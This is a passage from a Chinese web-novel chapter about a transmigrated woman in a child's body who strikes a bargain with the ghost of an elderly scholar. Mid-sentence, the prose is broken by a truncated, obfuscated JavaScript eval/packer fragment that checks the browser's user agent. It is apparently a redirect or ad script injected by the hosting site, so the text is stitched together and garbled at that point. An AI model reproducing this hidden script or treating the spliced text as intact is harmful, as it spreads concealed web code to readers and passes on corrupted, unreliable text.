“这个……是我昨天做的一个梦……一位穿着蓝色长袍,头上有着光环、看不清面容的女人一边摸着我的头一边跟我说的……”女孩越说声音越小,最后红着耳根低下头,两只手不断揉搓起衣角,“我、我一开始以为那是母亲,可我母亲没有蓝色的衣服……那是青金石的颜色,布面像流水一样丝滑,我从来没见过那么漂亮的衣服……” 这蹩脚的借口还是她从那位灰袍老修士那里得到的灵感。 这些天她也发现了,在这里,与其用逻辑说服一个人,不如把自己想要传达的想法说成神明指引有效。 对真正有信仰的人来说这大概是不被允许的,可菲丽丝本身就是个无神论者,说这种出于善意的谎话时就完全没有心理负担了。 “是、是圣母!一定是圣母显灵了!” 果然,不等菲丽丝说完,女人已经激动地做起祈祷的手势,又哭又笑地抱住她的头:“好孩子,好孩子……那是圣母,是圣母在给你赐福,你一定会没事的……” “…………” 菲丽丝无言地抱住她的后背,轻轻拍了两下。 伊莎贝拉虽然是乔瓦尼大师的妻子,可任谁都能看出两人的年龄差相当大。 这个刚刚显怀的女人看上去也只有二十岁出头,两人走出去说是父女都有人信。 这种老夫少妻的模式并不罕见,不如说人们都习以为常。 没有输血,没有抗生素,也没有剖腹产手术,生产全靠自己的年代,生孩子对孕妇来说就是在用自己的命进行一场赌博。 只是因为这是件人人都会做的事,所以似乎看起来没有那么不平常…… 菲丽丝摸到伊丽莎白微微隆起的小腹,轻轻将耳朵贴上去。 “如果那真是圣母,我更希望圣母能保佑你们。”她垂下眼帘,小声喃喃道,“愿圣母庇佑你们能平安……” *** “……其实你根本没有梦到圣母吧?” 回到二楼的房间后,一直飘在她身后的派勒乌索教授突然说道:“不但如此,我看你根本不相信有圣母的存在……你刚刚那些话都是骗她的。为什么?为了让她保持清洁,不让家里生虫子?” 菲丽丝转身,直直对上老教授那充满探究的视线。 派勒乌索教授被她那张面无表情的脸唬了一跳,身体都跟着向后飘了一节,却还是不死心地问出自己最关心的问题。 “你……根本不是‘菲丽希安娜’吧?”他轻咳一声,摆正声音继续说道,“我听周围的人说了,菲丽希安娜虽然今年只有八岁,可她从小在阿斯卡长大,一家都是虔诚的圣教徒,每周都要去做礼拜,又是修道院的常客,不会连那图拉修会是什么都不知道……” 见几步外的女孩紧皱起眉,他又警惕地往后飘了一段,身体几乎贴在了窗口,嘴上却还坚持把话说完:“你……你究竟是谁?原本这具身体的主人呢?” 看到他那一副“你敢动手我就跑”的滑稽姿态,菲丽丝终是忍不住抽了下嘴角。 “你在怕什么?我看起来是暴力到会殴打老人的人吗?”见老教授依然一脸不信,她只能无奈地坐回床上,主动拉开距离后才摊开双手说道,“之前那是看到你快被那些东西吃掉才出手的,当时我也冒了很大的风险……再说,除了我别人都看不到你也听不到你说的话,就算你知道了我的秘密又说不出去,我灭你的口做什么?” 说到这,她自己都觉得相当无语,一边揉起太阳穴一边小声嘟囔:“是啊,都没有其他人能证明你是真实存在的……我之前就一直怀疑你是不是我脑子里产生的幻觉,想要杀死自己脑子里的幻象应该很容易……” “我当然不是幻象!” 最开始菲丽丝说起救他的事时,派勒乌索教授的神色还缓和了些,听到最后一句时却像是只被激怒的公鸡般跺起脚:“你要我给你证明吗?来来来,你还有什么问题尽管来问我,我全都能解答!” 菲丽丝:……真是好自负一老头啊! 看他仰着下巴不可一世的样子,菲丽丝也忍不住捉弄对方一番:“那你知道人要怎么飞到天上吗?” “…………” 此问一出,派勒乌索教授的表情当即有一瞬的扭曲,浓密胡子下的嘴张张合合,最后只发出一声气闷的“哼”。 “人不是鸟,本就没办法飞上天!能在天上飞的除了死人只有天使了!”老教授愤愤道,“你问这种东西根本无法解决我们现在的问题!” “那我该问些什么?” “你可以随便出题!算术、几何、天文,七艺中的任何学科,不管你出什么题目我都能解答出来!” “呵,就算我能出一道我不知道答案的问题,你解答了,要是我周围的人也不知道正确答案,又怎么能证明你的答案是正确的?”菲丽丝不屑地抱臂哼笑,成功把讨论重点带得更偏了,“你要说出一个我不知道、但周围人都能知道的常识或事件,这样我才能相信你真的是那位死去的派勒乌索教授。” 她的话有些绕,可老教授很快理解了,并在几秒内就提出了一个很可行的方案。 “……语言!你应该除了意图恩诺语外不会其他的语言吧?” 见女孩没有否认,年老的幽灵再次仰起头,骄傲道:“大陆通用语就不说了,那是每一位学者都会的。除此之外我还精通罗兰语、喀斯特语、帕鲁本语和阿祖尔语,仅是口语交流的话,欧洛夫语、帕里西亚语、伊瓦力语和马黎语也不错。那位乔瓦尼大师不是说自己曾经在罗兰工作过吗?那他应该会说罗兰语。我教你几句日常用语,你再去问他,看是不是一样的不就行了?” 这确实是个可行的方法……但比起那一连串或是熟悉或是不熟的语言名称,当听到最熟悉的“马黎语”时,菲丽丝瞬间感觉眼前一亮。 “你还会马黎语?!”她激动到差点没压住声音,缓了缓才继续小声催促道,“快说两句让我听听!” 派勒乌索教授显然不太理解她为何会对这种偏门语言如此上心,不过还是照做了。 排列古怪的音节从幽灵口中说出,传进菲丽丝耳中,却让后者原本激动不已的神情变得古怪起来。 派勒乌索教授说了一大段话后却没得到丝毫反馈,自说自话难免有些尴尬,又见女孩始终皱着眉并不像是听懂了的样子,忍不住用马黎语小声说了句什么。 “……你骂我?” 万万没想到,之前听了那么长时间都没反应的女孩在听到他那小声的嘟囔后居然猛然抬起头,不可置信地看向面前的幽灵:“我怎么得罪你了?你骂我是笨蛋头干什么?” 派勒乌索教授也震惊了:“你居然听得懂?难道你是马黎人!” 菲丽丝张张嘴,却不知道该怎么解释。 但比起解释,她发现了一个更让她震惊的事实。 其实从这位老教授刚开口时她就意识到了,那接近陌生的语言大概是属于这个时代的古马黎语,不管是用词、发音还是语法都与现代马黎语有着相当大的差别。 菲丽丝一开始都要放弃识别其中有没有自己熟悉的单词了,可随着时间的流逝,神奇的事情发生了——她居然慢慢听懂了那些堪称陌生音节。 一开始只是一个两个词,之后是三五个,像几股丝线互相缠绕最终编织成型,最后在派勒乌索教授停止前,她已经能把一整句话听懂了,当然也没错过那 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她确信自己就只会一种语言,自己的母语马黎语,还是现代版、带有新大陆口音的马黎语。除此之外她在高中时选修过一节艾斯巴那语,但因为背单词实在太过痛苦,她只学了一学期就放弃了——从此也能看出,她在语言上的天赋实在不算多。 难道穿越还能让脑子发生变异?可就算是她所知道的、最顶尖的语言天才,也不会这么听几句话就能直接用陌生的语言跟人说话交流……这实在太不符合常理了。 不单是她觉得这不正常,就连派勒乌索教授都在激动后陷入长久的沉默。 在此之前,他一直觉得能说十种不同语言的自己已经在此方面上极有天赋。如果不是亲眼所见,他也不会相信一个人会在短短几分钟内掌握一种语言。 一人一鬼相对无言许久,却一时都说不出话。 而且现在的菲丽丝倒是已经在实验中完全掌握了罗兰语,可这与她之前提出的前提已经不一样了…… “…………” “你之前猜得没错,我确实不是这具身体的主人‘菲丽希安娜’,也不是阿斯卡人。” 就在派勒乌索教授绞尽脑汁想着第二套证明自己不是幻象的方法时,女孩突然的发声让他诧异地抬起头。 “我的名字是菲丽丝·林恩,可我也不知道为什么会出现在这里。” “我最后的记忆是自己在家里睡觉,再睁开眼就来到了这具陌生的身体里,也不知道原本那个孩子的灵魂去了什么地方……” 被剪短了头发的女孩端正坐在床上,一双深褐色的眼眸一眨不眨地看着面前的幽灵,伸出一根食指指向心口:“我不是圣教徒,所以我不会向你相信的神明起誓,只能用我自己保证。如果那孩子还存在于这个世界上,我一定会想办法把这副身体还给她。” 她注视着对面的老教授,对面的幽灵也在注视着她。 无言半晌后,还是幽灵率先叹出一口气。 “我想……她应该已经不在了……” 菲丽丝意外的坦白让派勒乌索教授也跟着放松了心弦,垂下肩膀说出自己这几天的经历。 “这几天我除了去大学和家里看看情况,城里最常见的只有死人了。大部分人在死后灵魂会飘出体外一段时间,但他们都没有意识,大多只会在家人附近漂浮一段时间就会彻底消失。” “少部分人,也许是在死前情绪格外激烈的人,或者没来得及做告解……他们的灵魂能存在的时间会长一些,但很快也会失去理智,成为那种之前袭击我的怪物……”老人耷拉下眉眼,摇头叹息道,“那些……东西,他们一旦靠近彼此就会互相撕扯对方的身体,像野兽一样吞噬对方,好像这样就能存在的时间久一些。不过这个我也不确定,我不敢靠得太近去看……” 他说得跟菲丽丝之前推测得差不多。 只是如果灵魂存在的时间跟死前的情绪和执念有关,那原本的“小菲丽”的灵魂可能就更难找回来了。 一个七八岁的孩子,本身可能就没有什么执念,再加上她当时是在猝不及防下被推下土坡、突然撞击到头部,也许什么都没意识到就迎来了死亡。 如果是这样,说不定也能称为一种幸运…… 菲丽丝沉默片刻,这才继续问道:“你没有遇到跟你一样,还保有理智的幽灵?” “没有。”派勒乌索教授摇摇头,又感慨般开始自我分析,“其实最开始我的状态跟那些没有意识的游魂很像,只是被执念牵引着想要回到大学,是被那些东西袭击后才恢复了意识……之后就是你,我开始跟你说话后混沌的思维才开始越来越清晰,记忆也恢复了……而且那些仿佛从地狱爬出的东西不敢靠近你,你甚至可以杀了它们,现在居然还能在短短几句话间学会一种语言……” 他越说,看向女孩的目光便愈加炙热:“我真的很好奇,你究竟是什么人。” 13.阿斯卡共和国13 013 你究竟是什么人…… 菲丽丝不会没想到,某一天自己还能听到别人口中听到这样的问题。 按她自己的想法,她只是世界上几十亿中的一个人,一个家世普通、长相普通,连职业和工资都十分普通的普通人。 是最寻常的工蚁,最常见的工蜂,每天为自己的生计工作之余也能发展几个调节情绪的小爱好,就像身边所有人一样,过着平淡中带着一些小烦恼的人生。 至于幽灵说的那些自己身上出现的“特异功能”……比起说自己特别,菲丽丝觉得应该是原本的“菲丽希安娜”是个特别的人。 毕竟不管是马西莫还是其他人话中透露出的情报,“小菲丽”能见到幽灵这种事已经不是第一次了。而她之所以会受伤,也可能是因为想要把附着在别人身上的幽灵驱散走,这才招来他人误会,继而在阴差阳错中被推下土坡撞到脑袋。 至于那个新发现的“语言天赋”……大概是这孩子生活的环境太单一,还没来得及遇到类似派勒乌索教授这种能说多种语言的大学者,自然也没有条件触发。 自己想通了这些,菲丽丝却也没有把这些想法向身边幽灵全盘托出的打算,反而将话题转移到对方身上。 “不管我是什么人,目前的情况如你所见,我应该明天就会离开阿斯卡,那你呢?” 她无所谓般耸了下肩,一边跳下床开始搜寻有没有能当作行李打包的东西,一边顺口问道:“你是个阿斯卡人,要继续留在阿斯卡,陪在你的家人身边吗?” 派勒乌索教授因为她的反问脸上有了一瞬的尴尬,但很快就掩饰了过去,轻咳两声才说出自己的真实目的。 “我想跟你做一笔交易。” 见女孩再次转头看来,年老却高大的幽灵也站直了脊背,用郑重的语气说道:“你既然不是原本的菲丽希安娜,还对许多常识如此无知,那我可以留在你身边协助你。” 菲丽丝都被他的厚脸皮逗笑了。反正现在也不需要在对方面前假装是小孩,她忍不住依照自己原本的性格回怼道:“难道不是因为你害怕外面那些脏东西,觉得待在我身边更安全?” “但你不能否认这对我们都好。”派勒乌索教授闻言同样没有退让,继续坦荡地扬起下颌,“知识是无价的,我会的可不只是语言。只要你想,我的毕生所学足够帮助你在任何地方站稳脚跟!” 菲丽丝明白他是对的。 即使之前已经问过很多常识性问题,可她对这个世界的了解依然不够全面。如果能有一位博学、仅自己可见且不会威胁到人身安全的老师跟在身边,那无疑会给她今后的生活带来更多便利。 不过,对方的条件真的就只有寻求庇护这么简单吗? “……我喜欢更加简单明了的合同,讨厌事后的讨价还价。”她直截了当地说道,“还有什么条件你最好现在就说出来。要是事后再增加附加条款,答不答应就要看我的心情了。” 果然,老教授缓缓眨了两下眼,被白须遮盖的脸上不禁露出了一个笑。 “你知道吗?我今年已经七十八岁了,比现任的教皇年纪还大!而从年轻时进入阿斯卡大学,第一次拜读过老萨卡杜斯写就《博物志》和维克多·德玛古斯的《巨镜》后,我就有一个愿望——我也想要写出这样一本书。”有些稀疏的白眉之下,那双深深扣进眼窝的眼睛显得格外明亮,“算数几何、逻辑文法、天文地理、植物动物……不管是教会持有的秘典还是异教徒编撰的禁书,只要能弄到手我都会想尽办法去阅读,将它们刻到脑子里!为的就是要把我所知道的、这个世界最先进的知识整理成册!” “我用我全部的青春踏遍我能到达的每一块土地,从西边的马黎到东边的天脊山,从北陆的冰原到南陆的沙漠,直到我的膝盖不能承受走路的痛楚后便开始书写整理……即使它最后无法成为《博物志》或《巨镜》那样伟大的书,我也尽了我的全力完成它!” “我原本已经完成了!已经完成了!!却没想到它会因为那样可笑的原因被毁掉!” 老人这么说着,情绪再次跟着激动起来:“我不能接受这样的结果!那是我毕生的心血,是千百年后能证明我存在过的唯一物证!我不允许它以那样的形式消失!” 幽灵散发出的强烈怨气似乎带着周围的气压一起改变了,直面他怒火的菲丽丝甚至感到一丝呼吸困难。 “我承认,在看到我的书被毁时、在看到那些强盗将尖刀捅进我的胸膛时,我真的对吾主产生了一股恨意。我不明白祂为何让命运如此捉弄我,夺走我的命就算了,还要夺走我最珍视的东西……那些书,可比我的命还要珍贵啊……” 幽灵忽地转向站在床边的女孩,对视的瞬间,原本已经变为赤红的双眼却慢慢恢复正常。 “……我本来已在绝望中死去,可我发现我还没完全死亡。我还记得那些字母,书上每一个字我都还记得,它们还没有从这个世界上消失……而我又遇到了你,一个能看到我、听到我的话语,还能拿起笔的活人……” “你永远无法明白,在听到你说你想要去有缮写室的修女院时我有多高兴!” 老人的语气沾染上了希冀,一点一点,试探着靠近了女孩。 “我从不畏惧死亡……死亡是所有人的终点,是必然,是凡人们无法逾越的界线,我不奢求自己能跨越那条界线……我畏惧的是我忙碌一生,却依然一无所得……” “我的书,我获得的知识,如果能留下,如果能传播开来,说不定可以改变很多东西……” 他低下头,对上女孩复杂的视线:“我可以把我毕生所学都教给你,而我只有一个条件——你帮我重新完成这本书,最后将它送到阿斯卡大学的藏书室……不,送到大陆上任何一所大学都可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的身旁,穿着灰袍的老修士用温和的声音劝说道:“要是有想要带走的东西就去拿吧,也许这是最后的机会了。我记得你提起过有个陀螺是你父亲生前亲手做的,不打算拿走做纪念吗?” 菲丽丝定定看着房子二楼的小窗,脑中却随着老人的话闪过几只木制动物玩偶和那只刻着“F”的木陀螺,最终还是摇摇头。 “不用了……”她低下头,小步走到老修士身边,“抱歉耽误您的时间了,萨瓦托雷修士,我们可以走了。” 灰袍修士的视线从石制的小楼下移,在女孩戴着兜帽的发顶停留片刻,这才抬手摸了摸女孩的额头。 “那就走吧。”他说道,“乔瓦尼大师联络好的商队在城门口等着,希望我们能尽快到达维利斯。”